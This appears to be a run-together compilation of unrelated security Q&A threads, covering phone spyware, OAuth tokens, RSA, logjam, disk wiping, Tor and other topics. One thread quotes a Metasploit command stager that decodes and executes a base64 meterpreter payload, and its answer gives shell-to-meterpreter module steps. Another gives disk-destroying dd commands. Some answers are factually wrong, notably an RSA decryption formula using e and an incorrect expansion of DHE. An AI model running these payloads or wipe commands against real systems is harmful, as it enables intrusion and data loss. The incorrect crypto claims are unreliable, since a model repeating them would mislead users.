Spyware on Sony Xperia z3 compact ? comand: adb reboot bootloader results in error device not found Please help as I can not pay a forensic data investigator.
For a while now I suspect to being spied on my computers and cellphones.

I have two Sony xperia Z3 compact and both were acting strangely lately, so that I have factory reset them several times.  I found the reset over the hardware keys Power and volume down, bringing me into recovery mode and reset from there, the safest to delete everything on the phone. If you know a better one I am eager to learn.

For some weeks now this option was gone and strangely on both phones. was not possible any more. The local Sony support could also not explain it or do anything about it and I did not want to send them into a 14 days repair.

Through internet search I found the possibility to enter into recovery mode over my PC with adb commands.

adb devices: was ok and delivered a device.

adb reboot recovery started the device and booted it without showing the options menue it usually does asking if everything should be deleted, cache emptied etc.

adb reboot bootloader error: device '(null)' not found.

Can this be a spyware preventing its own elimination? If yes, how can it be detected and instead of just delete it follow to where it reports to?

Please answer in a way that a tech-dummy understands it.

I haven't got a SEZ3 but I suggest that you try these actions

Check the same on someones phone to confirm if this issue is with your phone only (it will help if they have same firmware version etc)
this Post shows 3 methods for How to Enter Fastboot Mode on Sony Xperia Z3
Unlock your Bootloader - Sony Official method or Bootloader Unlock/Relock/Flash firmware/CWM Recovery/Root by XDA Developer. Second option will allow you to use unlock/root/flash etc.
If every thing fails then you have no option but to get it repaired by Sony (Who I think are just going to flash the phone with new firmware)

In my humble opinion I doubt that its a malware, it is a case of Sony locking down access to bootloader to access fastboot feature as @Robert Mennell suggested in his answer.


Is it dangerous to publicly share a scopeless token? If a service allows you to create OAuth tokens without any scopes (allowing 5k API requests / hour for public resources), is it dangerous to share these tokens publicly?

The obvious problem I see is that anyone will be able to use this token reaching the request limit of the user that shared the token.

Are there any other problems when sharing such a token publicly?

What if the service allows you to update the OAuth scopes of the same token without regenerating the token?

Some issues I can think of are:

Exhausting the request limit, preventing any user's depending on that token from using it
Violating the terms of service agreement by sharing a token which is supposed to remain secret/in the possession of a single user
If the API is subject to such a vulnerability, exploitation of 'session fixation', where another user authenticates or calls a privilege escalation method which upgrades the privileges available to the token without changing it (thereby enabling access to that user's account for all holders of the token)
Some API methods might vary their response based on calls to other methods (or the same method). If you know applications are depending on certain formats for a response (e.g. XML or JSON) you could leverage this to force the trusted end-point (the exposed API) to attack whichever application is using it, because you will be sharing a session.


How does a chosen ciphertext attack work on textbook RSA? I am very new to cryptography and I am confused with something. Here is the homework question I am having trouble with:

  Write a program to attack the Textbook RSA Encryption Scheme, in order to decrypt the encrypted file key_enc.txt which contains the 128 bits AES secret key together with the initialisation vector (IV) for Question 2.

  You must explain and show how the attack is done.

  The RSA parameters are as follows:

  N: 92001629535369949668182190680140710002429961412439471184834723194899969898404162 82428855806975402440064473888135838545187330646754494062187654035542047167435016 34608863342073173012508616123265965429721791336874605919036975439595316606713189 21259313523852555003517715050369476348174980850810194157624985747443

  e: 65537

My questions are:

is it possible to use the formula in the link to find the answer with such a big value?
inside the link, the plaintext value is given but the homework didn't provide a plaintext. Do I need to guess it?

Since you have your n and e, you should get d and your totient. which is ϕ(n).

Here is the example:

Using:  e(d) mod ϕ(n) ≡ 1, you can use an Euclidean algorithm to solve this equation to get d.

How to get the n? Usually you take your two large prime numbers. e.g (p = 7 and q = 11) Your n in this case will be p*q-(7*11 = 77).

How to get ϕ(n)-totient? Usually you take (p-1)*(q-1) = ϕ(n). That is (7-1)*(11-1) = 60, so your totient is 60: ϕ(n) = 60.

Your e must be < n and must not share common factors with  ϕ(n), then e = 17

Then, e(d) mod ϕ(n) ≡ 1-----------> e=17, d=? , ϕ(n) = 60

substitute 17(d) mod 60 ≡ 1 <---- in this case you are looking for d which is 53, because 17*53 mod 60 will give you remainder 1 which satisfies this equation---> e(d) mod ϕ(n) ≡ 1

To decrypt your cipher text use this:
m=c^e mod n
where:
m = plain text
c = cipher text
e = encryption key
n = product of two large prime numbers.


Are keyboard hooks inherently malicious? My software is using low-level keyboard and mouse Win32 hooks for legitimate reasons (if it's any relevant, it's for determining a change in the caret position of the active code pane in the VBA IDE).

Windows Defender is flagging my installer as "malicious":

Same with Symantec, and probably other antivirus/malware detection tools too.

I've had similar false-positive "malware alert" issues before with Symantec, supposedly due to the file being recent and/or having very few downloads, but these older versions didn't use a Win32 low-level keyboard hook, and AFAIK weren't flagged as "malicious" by Windows Defender.

I have NOT implemented a key logger; I do NOT handle WM messages sent anywhere other than the VBE's active code pane, and I have NOT intentionally packaged malware with my installer.

Does merely using a keyboard hook inherently make software "malicious"? Or is there a way to use them that doesn't trigger a malware alert?

Or does "Trojan:Win32/Fathale.B!plock" have completely nothing to do with that and it turns out there is something that somehow managed to sneak into my installer package?

The biggest clue came in a comment:

  I am getting same thing. Did you use innoSetup?

And I did.

The conversation here points to a problem involving Inno Setup seemingly generating what appears to be a matching signature for a trojan:Win32/Fathale.B!plock.

Submit the installer to the Microsoft Malware Protection Center.

If your installer is indeed "clean", you should eventually get a response along these lines:

  The submitted file is Clean.
  We will remove the detection for this sample.

Nothing to do with keyhooks =)


How can a RSA-2048 certificate be vulnerable to logjam attack? Most likely I am missing some fundamentals: Our web servers are secured with TLS encryption. We use RSA-2048 bit certificates. The logjam attack targets the DH algorithm. How can our web servers be vulnerable to the logjam attack? Is a combination of both encryption algorithms used?
Also Chrome states for our connection:

Authentication and encryption with AES_128_GCM
ECDHE_RSA for key exchange

We removed the support for several cipher suites a while ago and weakdh.org confirmed that we are not vulnerable anymore. Still I do not understand why we were vulnerable in the first place with RSA-2048.

[EC]DHE_RSA means that the shared secret between the client and server is computed via Diffie-Hellman. In the case of DHE each session has it's own DH parameters (DHE = elliptic curve Diffie-Hellman ephemeral) which is done to provide forward secrecy. It goes something like this (over simplified):

Server generates some DH parameters.
Server signs the DH params with it's long term key (i.e. your RSA 2048 key) and sends the params and signature to the client.
Client verifies the signature for the params against the public RSA 2048 key contained in the servers certificate.
If the signature is good the client and server use DH with these params to established a shared secret from which they derive keys for the session.

So if your server generates DH params that are too small (e.g. 512 bits) or it supports DHE_EXPORT (or anything else mentioned in the logjam paper) then you are still vulnerable to the attack. You can reference this answer for good discussion on the security of DH params. The key insight is that the long-term RSA key is being used to ensure that the parameters sent to the client were not tampered with and generated by the server. The actual key generation / derivation is done via DH.

(It should be noted that ECDHE does not have this pitfall, so any cipher suite with ECDHE_RSA should be fine).


Is Data Object on openPGP smartcard v2 encrypted? currently I thinking about on-the-fly disk encryption using Truecrypt/dmcrypt LUKS with key stored on smartcard.
I would like to use openPGP v2 smart card, respectively GPF Cryptostick which is based on openPGP v2 smartcard and my question is:
On the card you can store 3 GPG keys (encryption, signing, authentication) or S/MIME equivalent.
There are also a data objects on smartcard when you can store key for TC/LUKS.
So, are those data objects stored on card encrypted with GPG/S-MIME or just protected by smartcard's PIN?

From what I gather reading some documentation online:

the Truecrypt key is stored on the card inside 'Private Data Object 3'.
According to the PDF documentation of OpenPGP Card v2, private data object 3 is protected using PW1 PIN.
The crypto-stick documentation on #1 states that

  Security Consideration: According to the TrueCrypt manual a 64 character long pass phrase is secure. Therefore the maximal capacity as "private data object 3" of 254 bytes is sufficient. Please note that TrueCrypt doesn't make use of the full security which the Crypto Stick (and smart cards) offer. Instead it stores a keyfile on the Crypto Stick which could be received by a computer virus after the user enters the password.

  I believe that none of the data objects on the card are themselves encrypted. That includes objects such as your keys. However, the card prevents direct access to those objects, and enforces different access conditions. Some objects cannot be read at all (for example, the cardholder private key), some are generally available without a password (e.g. Name, URL) and some are password-protected (like the data object used for Truecrypt), but are retrievable. There are also different passwords for different 'user-levels' and access.

So bottom line, if I understand it correctly from the documentation alone, is that the Truecrypt data object is only protected with the PIN.

Speculation: I think it won't make any practical difference however if it were encrypted. You would still need to decrypt it to provide it to Truecrypt, at which point an attacker can intercept it anyway. This is based on my limited understanding, perhaps mistaken, that Truecrypt in this set-up does not actually perform any encryption/decryption operation on the card, but rather only uses it for key storage.

UPDATE: Most smartcards, and also it seems this card, prevent brute-force attacks and will block access after some failed attempts. This should provide some protection still, e.g. if the smartcard is lost or stolen. However, this might not be sufficient against rogue code that might intercept either the PIN or the TC key after the user inputs the correct PIN.


Network anomaly detection or anomaly-based intrusion detection? When implementing anomaly-based intrusion detection system, if I want to dismiss U2R and R2L attacks (to avoid deep packet inspection), and to consider only Probe and DoS attacks, what features should I consider? Should I consider the network anomaly papers or intrusion-based papers?

As I learned, there are papers considering detecting network anomalies (link outage, large file transfers,... as well as DoS, Probe attacks) and there are papers considering detection of intrusions (DoS, Probe, U2R, and R2L attacks).

Are the former papers the special case of latter ones? I mean the feature space used for them are a subset of the latter one?

First response, please don't flame :-)

If I understand your question correctly then yes you could think of attacks as a sub-set of anomalies. In some cases this is useful, but not terribly. If, for example, you have a very quiet network segment that never sees any traffic and all of a sudden you get slammed. The traffic change is an anomaly that could be an intentional DoS, or maybe you just put your website on search-engine-x and it finally got some traffic. The reality of the situation is contextual, one of the reasons that tuning your firewalls/ips/ids/etc is so important. It would be my advice to look at both independently and also consider them holistically. Tune, adjust, refine.

From an analysis point of view you would even say that consistent attacks, ie the standard, which suddenly disappear would also raise a red flag. Posit: your network has been getting low level probes from a specific IP range for a month straight. These types of nuisance scans are often over-looked but today, for no reason that you can tell, they stop. This is an anomaly for the network traffic patterns, but is it a good or a bad thing?

As to the last part; malignant network activity (DoS, Probes) and intrusion detection (looking at u2r/r2l/etc activities) are two different classes of detection analysis.

There is a decent paper on this at http://cs.fit.edu/~mmahoney/dist/ although it's a little dated I think it is still salient to your question.


Encrypting Files With A Certificate I am hunting for a solution where I can send someone encrypted files and a digital certificate that allows them to open the file.
The reason for doing it this way is because:

I don't want to keep giving them a new password every-time I send
them some newly encrypted files, and they cannot keep up with a password because of staff changes and security reasons.

I know you can encrypt files in Adobe Acrobat with a certificate but the files I am trying to encrypt are not documents, more like scripts, programs, etc.

Veracrypt has an option to use a keyfile instead of a password.  This allows the recipient of the encrypted file to not have to keep up with a password but can use a file (which is also encrypted) to decrypt the data.


What risks are associated with 'parked' websites? Our internet policy blocks so-called 'parked' websites, i.e. those that are registered but do not seem to be active.  I'm not sure what tests are used to determine parked status.

There is a tool that my team is looking to use but some of the documentation is on a domain that our filter software has flagged as 'parked' and therefore is inaccessible.

I'm struggling to understand what risks are associated with such 'parked' websites that wouldn't exist for any other type of website.  Is the logic here that these sites are useless so why allow access?  Have such sites been used historically in attacks?  If there are risks, what should constitute a 'parked' website?  In this case it seems that all of the 'front-page' documentation was moved to a different domain but some of the deeper detailed artifacts were left behind at an older domain.  I would like to better understand how to address this and mitigate any risks.

Parked domains are not dangerous per see, but blocking them may be part of more general safety measures:

First, it is obvious that it is not the place you intended to go, so it may be safer to keep you from reaching an unexpected place.
Then, these parked domains try to take advantage of a typo in the domain name or hijack a previously existing but not renewed domain to place ads on it and generate benefits with little to no investment. This may not be the type of activity you may want to encourage on the Internet.
At last, the same single parked domain page is potentially shown to hundreds of thousands users all domains included. This means that such pages represent a prime target for attackers who may attempt to exploit them in various ways (like distributing malware or supporting spam campaigns).

It may be good to know  that while the most straightforward mitigation is indeed to simply block the access to these domains, it is not the only one as it is also possible to forge an alternative DNS answer to redirect the user to what is considered the most likely expected location (this method is core of the OpenDNS company activity for instance).


Decrypting files that were encrypted with EFS? I was wondering if there was a way to decrypt files that were decrypted with efs. I have an external drive with encrypted files that were taken from an old computer. I have the certificate and I believe the private key as well, I'm just not sure how to tie it all together to decrypt the file(s). I've tried googling and had no luck.

You would import the keys to the right key store via MMC snap in and then mount the file system and decrypt. As described here. An external program may also do this for you as described here for FTK.


Ssecure communication between Docker container and an Elasticsearch server? I have a spring boot application running inside a Docker container. This application communicates with another server which hosts Elasticsearch on it. How do I secure the communication between these two entities in my architecture?

You need to set up TLS support on the Elastic Search cluster, which is well documented by the vendor: https://www.elastic.co/guide/en/elastic-stack-overview/current/ssl-tls.html

Then you need to re-configure all method(s) your application uses in your docker container to connect to the TLS secured end-points in your Elastic Search cluster. For instance replace http://hostname.example.com:some-port/some-path use https://hostname.example.com:other-port/some-path.


Online Retailer asks for a copy of Credit Card and Drivers License This weekend I placed an order for a part from an online retailer ($300-400). Shortly thereafter I received an email from their sales team saying something similar to the following:

  Hi, we have received your order #12345 and it has been triggered by
  our fraud alert system. Please send us a copy of your drivers license
  and credit card used in the transaction. You my black out any personal
  details like the DL# but please leave the last 4 digits of the credit
  card, name, and address.

  This is no different than presenting your ID in a brick and mortar
  store. Thank you for your cooperation, blah blah blah.

My response to them was basically:

  Hi, I would be happy to perform any verification through the bank
  issuing the card but unfortunately do not feel comfortable sending
  copies of my DL and credit card via email to an online retailer.

Their response basically reiterated their first email, but insisting that they already had all this information anyways and just needed to verify it. So I ended up cancelling the order and buying the same part from a different retailer. They are indeed legitimate retailers. Their name bounces around the forums without any issues and I found them, they didn't find me.

My question is, did I make an issue out of something that was reasonable for me to comply with?

A few points that crossed my mind:

1) I've had "fraud alerts" on my credit card before when making a larger than usual purchase. They come in the form of an email from my bank asking me to confirm whether I made a given purchase or not. Sometimes they even require that I call in to verify. This "fraud alert" was only from the retailer. My bank did not raise this issue.

2) As far as I'm concerned, I should never take a picture of my credit card. Even if I block out the important details, the original photo probably got synced to the cloud which means I have to go make sure it was deleted everywhere and trust the our google/apple/amazon overlords did indeed delete it. I'm sure there's ways to mitigate this, but it every hoop I jump through is an opportunity for mistakes.

3) If I was a fraudster, I'm pretty sure I could fake a credit card and corresponding ID via Photoshop that I could take a crappy photo of with my phone and satisfy them. I don't think there's much security in their process.

This is rational response. Better be safe than sorry.

Any goods purchase that contains the delivery address (software purchase may not have the info) that similar to your credit card is verifiable by the issuer.

Point 1 is not always true because it depends on the level of escalation, i.e. the middleman like Visa/Master/AMEX may have a delayed clearance issues with the bank. So the logical way to deal with this is calling the bank support.

Point 2 is valid, you should never send a copy of your credit card/ID to through email.  At minimum, the merchant should at least provide an encrypted web interface to let you upload it. If they cannot do it due to cost and commission issue (some payment gateways are pretty expensive), then they should ask you to contact your bank than performing such shady process, even it is legitimate request.


Secure Client-Initiated Renegotiation - DoS DANGER I tested my server against cryptographic attacks and I have a few major and minor issues. However I would like to know how can I mitigate and protect against such vulnerability warning:

Secure Client-Initiated Renegotiation - DoS DANGER

how can I mitigate and protect against such vulnerability warning

Well, generally speaking, everybody knows that defending against DoS attacks -whatever their nature is- is a difficult and expensive thing to achieve. Coming back to your essential problem, it happens when an attacker overwhelms  your server with secure connection requests leading it to consume more CPU resources. This problem is called TLS renegotiation MITM and was first discovered on 2009 exploiting a flaw in the TLS v.1/SSL v.3 stack layers before RFC 5746 and its implementations appeared. Before that, several patches were applied more or less genuinely.

So right now, I suppose your OpenSSL version is outdate. You can update it to at least to OpenSSL version 0.9.8m release or newer (but      OpenSSL versions 1.0.1 through 1.0.1f and     OpenSSL 1.0.2-beta are affected by the HeartBleed problem).

Whether you are using Apache (recent versions), IIS or any other product that supports the client-initiated renegotiation feature, please disable it (it is often their by default).

If you know to know more about how this vulnerability, please refer to this: SSL / TLS Renegotiation Handshakes MiTM Plaintext Data Injection- medium or low risk?. Also, may be you are interested in reading about the first tool developed for this type of DoS attack.


How to set where the meterpreter payload is placed on the victim machine in metasploit? Background
I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to the number of the shell session, I receive an error because metasploit tries to create and execute a payload on the victim in the /tmp directory, which is set to be non-executable. In other words, nothing can be executed from the /tmp directory on the victim machine.
Question
Is there a way for me to specify where this executable file is created and executed on the victim machine?

My goal is to achieve something like this:

Use the linux/x86/meterpreter/bind_tcp payload.
Instead of having the executable payload be placed in /tmp and called something random such as abc123, I would want to have the payload placed in a known location that allows execution such as /home/Bob.
The executable payload whose location we specified, /home/Bob/abc123, will then execute and start the meterpreter session.

Notes

I believe to do this it has something to do with modifying the "command stager". In the following link you can see this line:

[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"]

Note the execution of the /tmp/tDGmH file toward the end of the command... This is the part of the command that is failing for me due to the /tmp directory being set to non-executable.

Link: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/webmin_backdoor.md

Could possibly involve making changes to this file: https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb

The sessions -u is actually a post/multi/manage/shell_to_meterpreter with predefined options. If you see the advanced options for that module (with show advanced), you should notice it has:

Name               Required   Description
----               --------   -----------
BOURNE_FILE        no         Remote filename to use for dropped binary
BOURNE_PATH        no         Remote path to drop binary
PAYLOAD_OVERRIDE   no         Define the payload to use

Therefore, what you are trying to do should be possible with:
use post/multi/manage/shell_to_meterpreter
set SESSION 2
set BOURNE_PATH /home/Bob
set PAYLOAD_OVERRIDE linux/x86/meterpreter/bind_tcp
run


EC private key, RSA certificate. Is this realisable? I was wondering if is it possible to generate EC private key:

openssl ecparam -name sect571r1 -out ecparam.pem
openssl ecparam -in ecparam.pem -genkey -noout -out eckey.pem

then generate CSR, which would tell CA to sign it normally as RSA:

openssl req -new -sha512 -key eckey.pem -nodes -out csr.csr

and give it to CA, which will sign it and make RSA certificate. Is there any way to do this? If not, is there at least some EC curve that can produce a key of 2048 bits or more? The longest I know is sect571r1.

The simple answer is no you can't have an RSA cert which has a ECC public key.  By definition an RSA cert is a cert which has an RSA public key.  The CA could sign your ECC cert with their RSA key but that wouldn't make it a RSA cert it would make it a ECC cert signed with an RSA key.  Likewise a CA could sign a RSA cert with their ECC key but that wouldn't make it an ECC cert it would make it a RSA cert signed by a ECC key.

Do you need an RSA cert or do you just need some digital cert signed by your CA?  If you must have a RSA cert why are you generating ECC keypairs?  Generate an RSA keypair, a CSR and have the CA create a cert from that.


One of my open files turned into a list of URLs and codes after clicking a link on a phishing email? So I received a non-filtered email earlier today supposedly from Itunes under my email address with an invoice for Netflix subscription. Some of the links were genuine, but ultimately I clicked on a bogus link before it clicked that it was spam.

My browser picked up on the dodgy site and warned me it was unsafe at which point I realised and exited the website. However, I'm unsure if any damage could be done by this point? I did not actually see the webpage and obviously did not enter any details.

I was working on a programming assignment for university at the time which I saved as a .asl file. I saved it and restarted my computer. However, now I've gone to open the file again, I've found my code gone and instead there is a list of urls, most of which I recognie as ones I've visited.

They are in the format...

url.com:HSTS 15 16234   1482854842001,1,0
www.url2.com:HSTS 1 16236   1438483201934,1,1
.......

The numbers I've given are mostly randomised but of the same/similar length as the ones in the file. The last two digits are all 1s or 0s.

Does anyone have any idea what this could be? Should I be worried? Maybe it's a result of something else?

The provided data looks like the SiteSecurityServiceState.txt file from Firefox.

It saves (next to other security related information) the HSTS-enabled domains and the data needed to implement HSTS on the client site.

This might be of interest (to know the sites you visit that do use HSTS and when the browser does allow a downgrade attack again due to expired HSTS headers) if you are to be targeted with such an attack.

Yet, this does not explain how this might ended up there.

If the site was able to bypass your browser and use a drive by attack that extracted those information and wrote to any recently saved file, you might have bigger problems (think: bot net, ransom ware,...) to worry than your HSTS-information leaked.

Make sure you didn't accidentally copy & paste that data there (or instructed a program to do so). If you didn't, you'd may have to nuke from orbit to be sure nothing is left on your machine.


TLS header in content portion of HTTPS POST request hot handled well We are trying to communicate from an embedded application to a device via HTTPS protocol. We are having difficulty doing so from the embedded application but can do so successfully from say Windows using Curl command.
At the firmware level with the libraries we are using (libcurl, openssl) we are seeing an additional TLS header(line) prior to the content of the POST request (but after the HTTPS headers of the POST) whereas that header(line) is not there, when communicating to the device from Windows.

Note we are getting past the TLS handshake sucessfully in both scenarios.

The additional line is the …. 17 03 03 00 4d line displayed in the capture
 for the HttpsClient below. The first capture shows communication between Windows Curl and the device. The second capture shows communication between embedded application and the device.
Locations like https://www.httpbin.org/post have no trouble handling this extra TLS header line as we are able to communicate to that url from the embedded application successfully.

On the embedded application the libraries versions are: Libcurl: 7.41.0 (February 25 2015 release)
Openssl: openSSL 1.0.2h

We have not been informed what versions of libraries are being run on the device.

Has anyone dealt with this before or have any ideas on how to get around this?

Here are the captures ...

There  is no such thing as a "TLS header line". "17 03 03" in your output just means the beginning of a new TLS frame with application data (type 23, i.e. 0x17, followed by TLS protocol where 0x0303 means TLS 1.2).

The output you show instead means that one client is sending the POST header and body within a single TLS frame while the other client is sending the POST header in one frame and the POST body in a second frame. This is probably caused by the first client using a single SSL_write which includes header and body while the seconds client uses a SSL_write for the header and another for the body. This is both a perfectly valid behavior and you could even split the payload into even more TLS frames. This also means that the server probably needs to do multiple reads to get the full HTTP message (header and body).

If the server has problems with this then the server is broken. Such brokenness is often caused by he server authors trying to write their own HTTP stack by just looking at a few HTTP messages, instead of using an established stack or properly reading the standard. The standard clearly says where a HTTP message starts and where it ends. And since HTTP is set on top of a streaming protocol it might be possible that multiple reads are needed to get the full HTTP message.  This is probably the reason why it succeeds with some properly implement server but not with your broken server.


What is the relation between "signature_algorithms" handshake extension and TLS ciphersuite I am learning TLS handshake and find client/serve will negotiate a cihpersuite during client/server hello.
Usually, the last part of a ciphersuite is a hash algorithm, like SHA256 in ECDHE-ECDSA-AES128-SHA256. The second part of a ciphersuite is public key algorithm of server certificate like ECDSA. As we know, public key is usually capable of signing a message.
I also noticed in the client Hello, there is an extension called signature_algorithms to set the preferred hash/signature algorithm pairs. The chosen hash/signature is usually used to sign the Server Key Exchange.
My question is: since the ciphersuite already indicates both hash and signature algorithms, why we still needs the signature_algorithms extension?

... since the ciphersuite already indicates both hash and signature algorithms

The hash given ciphersuite only defines the algorithms used for the integrity protection of the encrypted traffic, i.e. the HMAC. These are not for digital signatures. Similar the public key algorithm in the cipher suite is only about the public key of the server certificate used for authentication. It is not about public key of the client certificate nor about signatures used for the certificates.


Are there any consequences of clicking on a URL to a facebook.com link? So I stupidly clicked on a suspicious link on a Facebook post today. Guest account for shame. In my defense, it was a link to facebook.com itself, but it loaded a Facebook page, then seemed to redirect. I closed my browser less than a second after. I cleared all local browser data, changed my password, made sure no browser addons or Facebook apps were added, and ran a virus scan. Everything seems okay. Did I miss anything? Reformatting my PC or changing other site passwords is overkill, right? This was in Chrome on Windows 10.

In theory, you could have caught a drive by download. However, it is much more likely that you have been redirected to an advertisement page and the respective owner now rejoices about the revenue of all the sheeps clicking on funny looking links ;-)

You can delete your cookies to get rid of any tracking/advertisement ones and I generally recommend installing a third party script, frame and cookie blocker. Also I hope you are not browsing with an administrator account.


Unrecoverable information in HDD A couple of days ago I asked about deleting the information and making it unrecoverable. The company bought a new disk and I have to leave the old disk. My question is simple: I had very confidential (critical) data and I would like to know if you formatted and encrypted the partition that was not encrypted, it is possible for a person with forensic techniques to recover the deleted information (remove it with RM).

I have the following question for reference:
Can I use Truecrypt/Veracrypt to "Wipe" a partition?

Also, I was with Manjaro Linux and I don't know if it is the same to encrypt from partitioning as with VeraCrypt.

I want to leave that disk sealed and if it is stolen, nothing can be recovered.

You do not need Truecrypt or to encrypt the partition.
Encrypting the partition after removing it will simply supply a powerful overwrite. It works beautifully, but not because it's encrypting: just because encrypting a new, empty partition is, at most, exactly the same thing as overwriting the old one with random data.
On modern hardware, forensic techniques are not capable of recovering overwritten information economically. It is possible, but the cost is staggering.
Recovery is based on detecting redundant and residual information, but both types of information inevitably decrease when information density and I/O rate go up. Nowadays, both media density and speed are such that redundancy and residual are minimal, which means that recovering lost information requires technology, skill and time. All three are expensive (a magnetic scanning microscope capable of appreciating hysteresis residue at the single bit level is still priced at around one million USD).
So, overwriting is enough.
And if you really feel paranoid, you can overwrite the same information again (and again).
Suppose you want to make /dev/sda (the whole disk) unreadable. Just boot from an external medium (e.g. a Linux live distro) and run one of the following commands
dd if=/dev/zero of=/dev/sda bs=1G count=1 # Faster but incomplete
dd if=/dev/zero of=/dev/sda           # Faster
dd if=/dev/urandom of=/dev/sda        # Possibly more accurate

Zeroing the disk up to the first gigabyte kills the partition table and likely all metadata for the first partition. It is possible and reasonably affordable to recover most of the data on the first partition (past the first gigabyte); it is possible and easy enough, even for unskilled personnel, to recover the whole data for any further partition after the first one (sda2, sda3, ...). You can zero the first gigabyte of each partition first (use of=/dev/sdaX), then the disk, if you want to quickly trash all partitions.

Zeroing the whole disk makes the data utterly unrecoverable for wannabes, skilled people and recovery specialists. It is still maybe possible to recover something using ruinously expensive equipment. If you have a zeroed disk, do not send it to data recovery professionals as you would just waste money; but a black government lab with million-dollar equipment might be able to pick up the stray magnetism from the platters, and recover information from that. They would also probably have the budget for rubber-hosing the same information out of you.

Overwriting the disk with random information makes the data twice as hard to recover. See above. It also takes several hours for a large disk.

You can also, on some disks, trigger the SECURE ERASE procedure, which is like the above but done in hardware and somewhat faster. You can use hdparm for that using the --security-erase-enhanced flag if the HDD supports it.
A faster and more secure alternative (not always allowed)
I have now for three times "erased" the HDDs in laptops I had to give back by purchasing brand new HDDs from a local retail shop and swapping them. A 1TB 2.5" HDD costed about €80 one year ago. It saved me all worries of "data recovery" - you can't recover something that's never been there - and it took less than ten minutes to perform the swap. Plus, I have a full backup of all I had on those laptops, since I kept the old disks.
Given that I would have been charged more than €80 to perform a reliable secure erase on a laptop (I myself would charge you more than that), I feel I ended up ahead.
Of course, you need to be allowed to tamper with the laptop at the "screwdriver" level.
In the future
There are some disks that implement hardware based disk encryption. What does this mean? It means that upon disk initialization, in the factory, a unique code is generated and stored into permanent rewritable memory in the hard disk. From then on, all data sent to the hard disk will be encrypted using that code before being written on the magnetic platters, and will be decrypted upon reading.
From the user's point of view, nothing is different from normal. You could (actually you usually need to) encrypt again the data if you want to have it protected by Bitlocker or Truecrypt or the like. Since encryption speed is way faster than host data transfer rate, no difference in disk speed will be detected.
Except that now - if a command is sent to the hard disk to forget the encryption key and generate another - the whole content of the disk can be lost forever in a few milliseconds. Unfortunately, on these devices, if the controller board containing the key is damaged, the data is also instantly made unrecoverable (controller failures are usually recovered by replacing the controller with a compatible one. Here, the new controller would have no way of knowing the encryption key, and would thus be able to access the drive physically, but not to decrypt it correctly).
(This kind of firmware usually allows for the key to either be transparently used, as above, or specified or be further protected by a BIOS supplied key at boot time through a specific protocol called OPAL).
So, if you can get a laptop with OPAL/HDE capabilities, secure disk erasure would be a matter of a couple of minutes.


Is the dark web server actually part of surface web? The dark web is like a lair for hackers/criminals/etc. But has anyone, like the FBI or CIA ever found the main server of the dark web? Where is the main server located? I thought all Internet data flows are being watched by many government institutes like the FBI/CIA. Why have they not closed down the main server of the dark web itself?

I mean the dark web is actually a part of the "healthy"/"surface" web, right? Why did they not get caught by the main server provider?

The dark web is like a lair for hackers/criminals/etc.

That's an oversimplification, but we'll go with it.

  But has anyone, like FBI or CIA ever found the main server of the dark web? Where is the main server located? I thought all Internet data flows are being watched by many government institutes like FBI/CIA. Why have they not chased the main server of the dark web itself?

  I mean the dark web is actually a part of the "healthy"/"surface" web right ? why they did not get caught by the main server provider ?

We apparently need to cover a broad number of basics here.

First, there is no main server of the public web. That is not how the web works. I can't go into that much detail in an SE answer, but your computer generally uses (the distributed) DNS to turn a human-readable hostname into an IP address, and then that gets routed across physical wires based on (again, distributed) routing protocols and data until it gets to the server it's supposed to get to.

The so-called dark web is structured similarly - different people run different web servers, and traffic has to go to the right places. The difference is in how you get there.

There's an anonymizing technology called Tor. When used to connect to the public web, a tor user's traffic goes through three different intermediate servers before trying to get to the requested website. The first node knows who the user is, but not what they were requesting (it's encrypted). The third node knows what's being requested, but not who requested it. And the middle node knows essentially nothing. This process prevents the website and other MitM snoopers like the NSA from knowing who is requesting that website.

(Insert a bunch of caveats here around anonymity with tor, attacks on the protocol, safe browsing, and general advice to please go look up more than this comment before relying on it.)

Tor also provides a feature known as hidden services, where the website operator also sets up a circuit of three nodes to connect to. A tor user's circuit meets up with the website's circuit, and traffic flows through all six of the nodes without anyone knowing who the other parties are. This is how the deep web works.

The only question then is how the two meet up in the first place, and that uses yet another distributed piece of technology, a distributed hash table built into tor. So there's no centralized server to shut down here, either.

The weak point here is that the website operator needs to not leak their identity or the server's location on accident, which can happen through all sorts of misconfiguration or human error. But even if they do, that is only that one site that gets shut down, not some giant shutdown of the network. Also, anonymity is not illegal, so there is no legal reason for the feds to shut down tor overall, even if they could. It in fact started as a US government project to assist people in oppressive regimes.


novice level: catching HTTP request/response Good afternoon experts,

I'd have a basic question about security but not having the knowledge it is a puzzle for me.
Let's say there is an application (I don't think it is relevant but it is a Java app) that sends requests to the server (Java also) and the server sends back the command in the response that has to be executed. Also let's say we are not on the Internet but on the intranet of a firm that is more secure.
Can somebody/something hijack the request of the client and send back a malicious one? How can it be prevented? Would HTTPS solve the problem?

What would you suggest to do to prevent any third-party to listen to the communication?

Thanks,
V.

Encryption (https) is the best way to prevent a "man in the middle" attack that you're describing. It is possible to MITM encryption but it's rather difficult to pull off, even for seasoned veterans.

